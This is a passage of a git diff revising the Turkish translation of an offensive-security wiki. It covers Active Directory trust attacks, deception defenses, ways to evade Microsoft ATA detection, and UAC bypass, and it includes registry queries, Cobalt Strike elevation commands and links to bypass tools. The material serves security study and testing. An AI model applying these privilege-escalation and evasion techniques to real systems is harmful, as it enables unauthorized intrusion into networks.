[SID Filtering'i Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir. +Derinlemesine bilgi için, [SID Filtering'i Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atabilirsiniz. **Ormandaki herhangi bir gMSA'yı tehlikeye atma** -Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almayı içerir. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA'nın şifrelerini hesaplamak mümkündür. +Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almayı içerir. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA için şifreleri hesaplamak mümkündür. Detaylı analiz, [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) üzerine yapılan tartışmada bulunabilir. @@ -527,13 +600,13 @@ Detaylı analiz, [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid- Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yetkisiz erişim ve yeni oluşturulan AD nesneleri üzerinde kontrol sağlama ile sonuçlanabilir. -Daha fazla okuma için [Şema Değişikliği Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine göz atılabilir. +Daha fazla okuma için [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine göz atabilirsiniz. **DA'dan EA'ya ADCS ESC5 ile** ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulamasını sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir çocuk DC'yi tehlikeye atmak, ESC5 saldırılarının gerçekleştirilmesini sağlar. -Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) başlıklı yazıda okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu konu [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) başlığında tartışılmıştır. +Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) makalesinde okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu, [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) üzerine tartışıldığı gibi. ### Dış Orman Alanı - Tek Yönlü (Giriş) veya iki yönlü ```powershell @@ -564,18 +637,18 @@ TrustDirection : Outbound --> Outbound trust WhenCreated : 2/19/2021 10:15:24 PM WhenChanged : 2/19/2021 10:15:24 PM ``` -Bu senaryoda **domaininiz**, **farklı domainlerden** bir prensipe bazı **yetkiler** **güveniyor**. +Bu senaryoda **domaininiz**, **farklı domainlerden** bir **prensipe** bazı **ayrımcı haklar** vermektedir. -Ancak, bir **domain güvenildiğinde**, güvenilen domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilen şifreyi** **şifre** olarak kullanır. Bu, **güvenilen domain içindeki bir kullanıcıya erişim sağlamak için güvenen domainin bir kullanıcısının erişim sağlamasının mümkün olduğu** anlamına gelir ve bu kullanıcıyı listeleyip daha fazla yetki artırmaya çalışabilir: +Ancak, bir **domain güvenilir** olduğunda, güvenilir domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilir şifreyi** **şifre** olarak kullanır. Bu, **güvenilir domain içindeki bir kullanıcıya erişim sağlamak için güvenen domainin bir kullanıcısının erişim sağlamasının mümkün olduğu** anlamına gelir ve bu kullanıcıyı listeleyip daha fazla yetki artırmaya çalışabilir: {{#ref}} external-forest-domain-one-way-outbound.md {{#endref}} -Güvenilen domaini tehlikeye atmanın bir başka yolu, **domain güveni** yönünde **oluşturulmuş bir [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links)** bulmaktır (bu çok yaygın değildir). +Güvenilir domaini tehlikeye atmanın bir başka yolu, **domain güveni** yönünde oluşturulmuş bir [**SQL güvenilir bağlantısı**](abusing-ad-mssql.md#mssql-trusted-links) bulmaktır (bu çok yaygın değildir). -Güvenilen domaini tehlikeye atmanın bir başka yolu, **güvenilen domainin bir kullanıcısının erişebileceği** bir makinede beklemektir ve **RDP** üzerinden giriş yapmaktır. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve buradan **kurbanın orijinal domainine erişebilir**.\ -Ayrıca, eğer **kurban sabit diskini bağladıysa**, **RDP oturumu** sürecinden saldırgan **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır. +Güvenilir domaini tehlikeye atmanın bir başka yolu, **güvenilir domainin bir kullanıcısının erişebileceği** bir makinede beklemektir ve **RDP** üzerinden giriş yapmaktır. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve buradan **kurbanın orijinal domainine erişebilir**.\ +Ayrıca, eğer **kurban sabit diskini bağladıysa**, saldırgan **RDP oturumu** sürecinden **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır. {{#ref}} rdp-sessions-abuse.md @@ -586,7 +659,7 @@ rdp-sessions-abuse.md ### **SID Filtreleme:** - Orman güvenleri arasında SID geçmişi niteliğini kullanan saldırıların riski, varsayılan olarak tüm ormanlar arası güvenlerde etkinleştirilen SID Filtreleme ile azaltılmaktadır. Bu, Microsoft'un görüşüne göre ormanların güvenlik sınırı olarak kabul edilmesi nedeniyle, orman içi güvenlerin güvenli olduğu varsayımına dayanmaktadır. -- Ancak, bir sorun var: SID filtreleme, uygulamaları ve kullanıcı erişimini etkileyebilir, bu da bazen devre dışı bırakılmasına yol açar. +- Ancak, bir sorun var: SID filtreleme, uygulamaları ve kullanıcı erişimini etkileyebilir, bu da bazen devre dışı bırakılmasına yol açabilir. ### **Seçici Kimlik Doğrulama:** @@ -605,29 +678,29 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement [**Kimlik bilgilerini koruma hakkında daha fazla bilgi edinin.**](../stealing-credentials/credentials-protections.md)\\ -### **Kimlik Bilgilerini Koruma için Savunma Önlemleri** +### **Kimlik Bilgisi Koruma için Savunma Önlemleri** -- **Domain Admins Kısıtlamaları**: Domain Admins'in yalnızca Domain Controller'lara giriş yapmasına izin verilmesi önerilir, diğer hostlarda kullanılmamalıdır. -- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği sağlamak için Domain Admin (DA) yetkileri ile çalıştırılmamalıdır. -- **Geçici Yetki Sınırlaması**: DA yetkileri gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir. +- **Domain Yöneticileri Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Denetleyicilerine giriş yapmalarına izin verilmesi önerilir, diğer hostlarda kullanılmamalıdır. +- **Hizmet Hesabı Ayrıcalıkları**: Hizmetler, güvenliği korumak için Domain Yöneticisi (DA) ayrıcalıkları ile çalıştırılmamalıdır. +- **Geçici Ayrıcalık Sınırlaması**: DA ayrıcalıkları gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir. ### **Aldatma Tekniklerini Uygulama** -- Aldatma uygulamak, süresi dolmayan veya Delegasyon için Güvenilir olarak işaretlenmiş şifreler gibi özelliklere sahip tuzaklar, sahte kullanıcılar veya bilgisayarlar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek yetkili gruplara eklemeyi içerir. +- Aldatma uygulamak, süresi dolmayan veya Delegasyon için Güvenilir olarak işaretlenmiş şifreler gibi özelliklere sahip tuzaklar, sahte kullanıcılar veya bilgisayarlar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek ayrıcalıklı gruplara eklemeyi içerir. - Pratik bir örnek, `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` gibi araçlar kullanmaktır. - Aldatma tekniklerini dağıtma hakkında daha fazla bilgi [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) adresinde bulunabilir. ### **Aldatmayı Tanımlama** -- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturulma tarihleri ve düşük kötü şifre sayıları bulunur. +- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturma tarihleri ve düşük kötü şifre sayıları yer alır. - **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar, bu tür aldatmaları tanımlamaya yardımcı olabilir. ### **Algılama Sistemlerini Aşma** - **Microsoft ATA Algılama Aşma**: -- **Kullanıcı Sayımı**: Domain Controller'larda oturum sayımını önleyerek ATA algılamasını engellemek. +- **Kullanıcı Sayımı**: Domain Denetleyicilerinde oturum sayımını önleyerek ATA algılamasını engellemek. - **Bilet Taklidi**: Bilet oluşturmak için **aes** anahtarlarını kullanmak, NTLM'ye düşmeden algılamadan kaçınmaya yardımcı olur. -- **DCSync Saldırıları**: ATA algılamasından kaçınmak için bir Domain Controller'dan değil, başka bir yerden yürütülmesi önerilir; çünkü doğrudan bir Domain Controller'dan yürütme, uyarıları tetikler. +- **DCSync Saldırıları**: ATA algılamasından kaçınmak için bir Domain Denetleyicisinden değil, başka bir yerden yürütülmesi önerilir; çünkü doğrudan bir Domain Denetleyicisinden yürütme, uyarıları tetikler. ## Referanslar diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index 2f3698936..b685ac16e 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -4,7 +4,7 @@ ## UAC -[Kullanıcı Hesabı Kontrolü (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş aktiviteler için onay istemi** sağlayan bir özelliktir. Uygulamalar farklı `bütünlük` seviyelerine sahiptir ve **yüksek seviyeye** sahip bir program, **sistemi tehlikeye atabilecek** görevleri yerine getirebilir. UAC etkin olduğunda, uygulamalar ve görevler her zaman **bir yönetici hesabının güvenlik bağlamında** çalışır, yalnızca bir yönetici bu uygulamalara/görevlere sistemde yönetici düzeyinde erişim izni verirse çalıştırılabilir. Bu, yöneticileri istenmeyen değişikliklerden koruyan bir kolaylık özelliğidir, ancak bir güvenlik sınırı olarak kabul edilmez. +[Kullanıcı Hesabı Kontrolü (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş aktiviteler için onay istemi** sağlayan bir özelliktir. Uygulamalar farklı `bütünlük` seviyelerine sahiptir ve **yüksek seviyeye** sahip bir program, **sistemi potansiyel olarak tehlikeye atabilecek** görevleri yerine getirebilir. UAC etkin olduğunda, uygulamalar ve görevler her zaman **bir yönetici hesabının güvenlik bağlamında** çalışır, aksi takdirde bir yönetici bu uygulama/görevlerin sisteme yönetici düzeyinde erişim izni vermediği sürece. Bu, yöneticileri istenmeyen değişikliklerden koruyan bir kolaylık özelliğidir, ancak bir güvenlik sınırı olarak kabul edilmez. Bütünlük seviyeleri hakkında daha fazla bilgi için: @@ -12,7 +12,7 @@ Bütünlük seviyeleri hakkında daha fazla bilgi için: ../windows-local-privilege-escalation/integrity-levels.md {{#endref}} -UAC uygulandığında, bir yönetici kullanıcıya 2 jeton verilir: standart bir kullanıcı anahtarı, normal seviyede düzenli işlemler yapmak için ve yönetici ayrıcalıkları olan bir jeton. +UAC uygulandığında, bir yönetici kullanıcıya 2 jeton verilir: standart kullanıcı anahtarı, normal seviyede düzenli işlemler gerçekleştirmek için ve yönetici ayrıcalıkları olan bir jeton. Bu [sayfa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), UAC'nin nasıl çalıştığını derinlemesine tartışmakta ve oturum açma süreci, kullanıcı deneyimi ve UAC mimarisini içermektedir. Yöneticiler, UAC'nin kendi organizasyonlarına özgü nasıl çalıştığını yerel düzeyde (secpol.msc kullanarak) veya bir Active Directory alan ortamında Grup Politika Nesneleri (GPO) aracılığıyla yapılandırıp dağıtmak için güvenlik politikalarını kullanabilirler. Çeşitli ayarlar detaylı olarak [burada](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) tartışılmaktadır. UAC için ayarlanabilecek 10 Grup Politika ayarı vardır. Aşağıdaki tablo ek detaylar sağlamaktadır: @@ -22,18 +22,18 @@ Bu [sayfa](https://docs.microsoft.com/en-us/windows/security/identity-protection | [Kullanıcı Hesabı Kontrolü: UIAccess uygulamalarının güvenli masaüstünü kullanmadan yükseltme istemesi](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Devre Dışı | | [Kullanıcı Hesabı Kontrolü: Yönetici Onay Modu'ndaki yöneticiler için yükseltme isteminin davranışı](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Windows dışı ikili dosyalar için onay istemi | | [Kullanıcı Hesabı Kontrolü: Standart kullanıcılar için yükseltme isteminin davranışı](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Güvenli masaüstünde kimlik bilgileri istemi | -| [Kullanıcı Hesabı Kontrolü: Uygulama kurulumlarını tespit et ve yükseltme istemesi](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Etkin (ev için varsayılan) Devre Dışı (kurumsal için varsayılan) | +| [Kullanıcı Hesabı Kontrolü: Uygulama kurulumlarını tespit et ve yükseltme istemi](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Etkin (ev için varsayılan) Devre Dışı (kurumsal için varsayılan) | | [Kullanıcı Hesabı Kontrolü: Sadece imzalanmış ve doğrulanmış yürütülebilir dosyaları yükselt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Devre Dışı | | [Kullanıcı Hesabı Kontrolü: Sadece güvenli konumlarda kurulu UIAccess uygulamalarını yükselt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Etkin | | [Kullanıcı Hesabı Kontrolü: Tüm yöneticileri Yönetici Onay Modu'nda çalıştır](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Etkin | -| [Kullanıcı Hesabı Kontrolü: Yükseltme istemi için güvenli masaüstüne geç](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Etkin | +| [Kullanıcı Hesabı Kontrolü: Yükseltme istemi sırasında güvenli masaüstüne geç](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Etkin | | [Kullanıcı Hesabı Kontrolü: Dosya ve kayıt defteri yazma hatalarını kullanıcıya özel konumlara sanallaştır](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Etkin | -### UAC Atlatma Teorisi +### UAC Bypass Teorisi -Bazı programlar, **kullanıcı yönetici grubuna ait** ise **otomatik olarak yükseltilir**. Bu ikili dosyaların içinde _**Manifests**_ kısmında _**autoElevate**_ seçeneği _**True**_ değerine sahiptir. İkili dosya ayrıca **Microsoft tarafından imzalanmış** olmalıdır. +Bazı programlar, **kullanıcı yönetici grubuna ait** olduğunda **otomatik olarak yükseltilir**. Bu ikili dosyaların içinde _**Manifests**_ kısmında _**autoElevate**_ seçeneği _**True**_ değeri ile bulunur. İkili dosya ayrıca **Microsoft tarafından imzalanmış** olmalıdır. -Sonra, **UAC'yi atlatmak** (bütünlük seviyesini **orta** seviyeden **yüksek** seviyeye çıkarmak) için bazı saldırganlar bu tür ikili dosyaları **rastgele kod çalıştırmak** için kullanır çünkü bu, **Yüksek seviye bütünlük sürecinden** çalıştırılacaktır. +Sonra, **UAC'yi atlamak** (bütünlük seviyesini **orta** seviyeden **yüksek** seviyeye yükseltmek) için bazı saldırganlar bu tür ikili dosyaları kullanarak **rastgele kod** çalıştırır çünkü bu, **Yüksek seviye bütünlük sürecinden** çalıştırılacaktır. Bir ikili dosyanın _**Manifest**_ dosyasını, Sysinternals'tan _**sigcheck.exe**_ aracını kullanarak **kontrol** edebilirsiniz. Ve süreçlerin **bütünlük seviyesini** _Process Explorer_ veya _Process Monitor_ (Sysinternals) kullanarak **görebilirsiniz**. @@ -48,7 +48,7 @@ EnableLUA REG_DWORD 0x1 ``` Eğer **`1`** ise UAC **etkin**, eğer **`0`** ise veya **mevcut değilse**, UAC **etkisiz**dir. -Sonra, **hangi seviye** yapılandırıldığını kontrol edin: +Sonra, **hangi seviyenin** yapılandırıldığını kontrol edin: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin @@ -58,22 +58,22 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5 - Eğer **`0`** ise, UAC istemi olmayacak (gibi **devre dışı**) - Eğer **`1`** ise, yönetici **kullanıcı adı ve şifre** istenir yüksek haklarla ikili dosyayı çalıştırmak için (Güvenli Masaüstünde) - Eğer **`2`** ise (**Her zaman beni bilgilendir**) UAC, yönetici yüksek ayrıcalıklarla bir şey çalıştırmaya çalıştığında her zaman onay isteyecektir (Güvenli Masaüstünde) -- Eğer **`3`** ise `1` gibi ama Güvenli Masaüstünde gerekli değil -- Eğer **`4`** ise `2` gibi ama Güvenli Masaüstünde gerekli değil -- Eğer **`5`** (**varsayılan**) yöneticiye yüksek ayrıcalıklarla Windows dışı ikili dosyaları çalıştırmak için onay isteyecektir +- Eğer **`3`** ise, `1` gibi ama Güvenli Masaüstünde gerekli değil +- Eğer **`4`** ise, `2` gibi ama Güvenli Masaüstünde gerekli değil +- Eğer **`5`** ise (**varsayılan**) yöneticiye yüksek ayrıcalıklarla Windows dışı ikili dosyaları çalıştırmak için onay isteyecektir Sonra, **`LocalAccountTokenFilterPolicy`** değerine bakmalısınız\ Eğer değer **`0`** ise, yalnızca **RID 500** kullanıcısı (**yerleşik Yönetici**) **UAC olmadan yönetici görevlerini** yerine getirebilir ve eğer `1` ise, **"Yöneticiler"** grubundaki **tüm hesaplar** bunları yapabilir. Ve son olarak **`FilterAdministratorToken`** anahtarının değerine bakmalısınız\ -Eğer **`0`** (varsayılan), **yerleşik Yönetici hesabı** uzaktan yönetim görevlerini yapabilir ve eğer **`1`** ise yerleşik Yönetici hesabı uzaktan yönetim görevlerini **yapamaz**, `LocalAccountTokenFilterPolicy` `1` olarak ayarlanmadıkça. +Eğer **`0`** (varsayılan), **yerleşik Yönetici hesabı** uzaktan yönetim görevlerini yapabilir ve eğer **`1`** ise, yerleşik Yönetici hesabı uzaktan yönetim görevlerini **yapamaz**, `LocalAccountTokenFilterPolicy` `1` olarak ayarlanmadıkça. #### Özet - Eğer `EnableLUA=0` veya **yoksa**, **hiç kimse için UAC yok** -- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=1` , Hiç kimse için UAC yok** +- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=1`**, hiç kimse için UAC yok - Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=0` ve `FilterAdministratorToken=0`, RID 500 için UAC yok (Yerleşik Yönetici)** -- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=0` ve `FilterAdministratorToken=1`, Herkes için UAC var** +- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=0` ve `FilterAdministratorToken=1`, herkes için UAC var** Tüm bu bilgiler **metasploit** modülü kullanılarak toplanabilir: `post/windows/gather/win_privs` @@ -85,11 +85,11 @@ whoami /groups | findstr Level ## UAC atlatma > [!NOTE] -> Kurbanın grafik erişimi varsa, UAC atlatma oldukça basittir çünkü UAC istemi göründüğünde "Evet"e tıklamanız yeterlidir. +> Kurbanın grafik erişimine sahipseniz, UAC atlatması oldukça basittir çünkü UAC istemi göründüğünde "Evet"e tıklamanız yeterlidir. -UAC atlatma, aşağıdaki durumda gereklidir: **UAC etkin, işleminiz orta bütünlük bağlamında çalışıyor ve kullanıcınız yöneticiler grubuna ait.** +UAC atlatması aşağıdaki durumda gereklidir: **UAC etkin, işleminiz orta bütünlük bağlamında çalışıyor ve kullanıcınız yöneticiler grubuna ait.** -UAC'nın **en yüksek güvenlik seviyesinde (Her Zaman) atlatmanın, diğer seviyelerden (Varsayılan) çok daha zor olduğunu** belirtmek önemlidir. +UAC'nın **en yüksek güvenlik seviyesinde (Her Zaman) atlatılmasının, diğer seviyelerden (Varsayılan) çok daha zor olduğunu** belirtmek önemlidir. ### UAC devre dışı @@ -117,9 +117,9 @@ cd C$ #Or you could just access it: dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` -### UAC atlatma ile cobalt strike +### UAC bypass with cobalt strike -Cobalt Strike teknikleri, UAC maksimum güvenlik seviyesinde ayarlanmamışsa yalnızca çalışacaktır. +Cobalt Strike teknikleri yalnızca UAC maksimum güvenlik seviyesinde ayarlanmamışsa çalışacaktır. ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -139,10 +139,10 @@ Dokümantasyon ve araç [https://github.com/wh0amitz/KRBUACBypass](https://githu ### UAC bypass exploitleri -[**UACME**](https://github.com/hfiref0x/UACME), birkaç UAC bypass exploitinin **derlemesi**dir. **UACME'yi visual studio veya msbuild kullanarak derlemeniz** gerektiğini unutmayın. Derleme, birkaç çalıştırılabilir dosya (örneğin `Source\Akagi\outout\x64\Debug\Akagi.exe`) oluşturacaktır, **hangi dosyaya ihtiyacınız olduğunu bilmeniz** gerekecek.\ -**Dikkatli olmalısınız** çünkü bazı bypasslar, **kullanıcıya** bir şeylerin olduğunu **bildiren** **diğer programları** **uyarabilir**. +[**UACME**](https://github.com/hfiref0x/UACME), birkaç UAC bypass exploitinin **derlemesi**dir. **UACME'yi visual studio veya msbuild kullanarak derlemeniz gerektiğini** unutmayın. Derleme, birkaç çalıştırılabilir dosya (örneğin `Source\Akagi\outout\x64\Debug\Akagi.exe`) oluşturacaktır, **hangi dosyaya ihtiyacınız olduğunu** bilmeniz gerekecek.\ +**Dikkatli olmalısınız** çünkü bazı bypasslar, **kullanıcıya** bir şeylerin olduğunu **bildiren** bazı diğer programları **uyarabilir**. -UACME, her tekniğin çalışmaya başladığı **derleme sürümünü** içermektedir. Sürümlerinizi etkileyen bir tekniği arayabilirsiniz: +UACME, her tekniğin çalışmaya başladığı **derleme sürümünü** içerir. Sürümlerinizi etkileyen bir tekniği arayabilirsiniz: ``` PS C:\> [environment]::OSVersion.Version @@ -150,9 +150,9 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -Ayrıca, [bu](https://en.wikipedia.org/wiki/Windows_10_version_history) sayfayı kullanarak Windows sürüm `1607`'yi derleme sürümlerinden alabilirsiniz. +Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions. -#### Daha Fazla UAC Bypass +#### Daha Fazla UAC atlatma **Burada** AUC'yi atlatmak için kullanılan **tüm** teknikler, kurbanla **tam etkileşimli bir shell** gerektirir (yaygın bir nc.exe shell yeterli değildir). @@ -162,29 +162,29 @@ Bir **meterpreter** oturumu kullanarak elde edebilirsiniz. **Session** değeri * (_explorer.exe_ çalışmalıdır) -### GUI ile UAC Bypass +### GUI ile UAC Atlatma -Eğer bir **GUI'ye erişiminiz varsa, UAC istemini aldığınızda sadece kabul edebilirsiniz**, gerçekten bir bypass'a ihtiyacınız yok. Bu nedenle, bir GUI'ye erişim sağlamak UAC'yi atlatmanıza olanak tanır. +Eğer bir **GUI'ye erişiminiz varsa, UAC istemini aldığınızda sadece kabul edebilirsiniz**, gerçekten bir atlatmaya ihtiyacınız yok. Bu nedenle, bir GUI'ye erişim sağlamak UAC'yi atlatmanıza olanak tanır. -Ayrıca, birinin (potansiyel olarak RDP aracılığıyla) kullandığı bir GUI oturumu alırsanız, **yönetici olarak çalışan bazı araçlar** olacaktır; buradan örneğin **yönetici** olarak doğrudan bir **cmd** çalıştırabilirsiniz, böylece UAC tarafından tekrar istemde bulunulmaz, [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif) gibi. Bu biraz daha **gizli** olabilir. +Ayrıca, birinin kullandığı (potansiyel olarak RDP aracılığıyla) bir GUI oturumu elde ederseniz, **yönetici olarak çalışan bazı araçlar** olacaktır; buradan örneğin **admin** olarak doğrudan bir **cmd** çalıştırabilirsiniz, UAC tarafından tekrar istemde bulunulmadan [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Bu biraz daha **gizli** olabilir. -### Gürültülü brute-force UAC bypass +### Gürültülü brute-force UAC atlatma -Eğer gürültü yapmaktan rahatsız değilseniz, her zaman **şunu çalıştırabilirsiniz**: [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) bu **kullanıcı kabul edene kadar izinleri yükseltmek için istek yapar**. +Eğer gürültü yapmaktan rahatsız değilseniz, her zaman **şunu çalıştırabilirsiniz** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) ki bu da **kullanıcı kabul edene kadar izinleri yükseltmek için istek yapar**. -### Kendi bypass'ınız - Temel UAC bypass metodolojisi +### Kendi atlatmanız - Temel UAC atlatma metodolojisi -**UACME**'ye bir göz atarsanız, **çoğu UAC bypass'ının bir Dll Hijacking zafiyetini kötüye kullandığını** göreceksiniz (esas olarak kötü niyetli dll'yi _C:\Windows\System32_ içine yazmak). [Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için bunu okuyun](../windows-local-privilege-escalation/dll-hijacking/). +**UACME**'ye bir göz atarsanız, **çoğu UAC atlatmasının bir Dll Hijacking zafiyetini kötüye kullandığını** göreceksiniz (esas olarak kötü amaçlı dll'yi _C:\Windows\System32_ içine yazarak). [Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için bunu okuyun](../windows-local-privilege-escalation/dll-hijacking/index.html). 1. **Otomatik yükseltme** yapacak bir ikili dosya bulun (çalıştırıldığında yüksek bütünlük seviyesinde çalıştığını kontrol edin). 2. Procmon ile **DLL Hijacking**'e karşı savunmasız olabilecek "**NAME NOT FOUND**" olaylarını bulun. -3. Muhtemelen bazı **korumalı yollar** (C:\Windows\System32 gibi) içinde DLL'yi **yazmanız** gerekecek, burada yazma izinleriniz yok. Bunu aşmak için: +3. Muhtemelen bazı **korumalı yollar** (örneğin C:\Windows\System32) içinde yazma 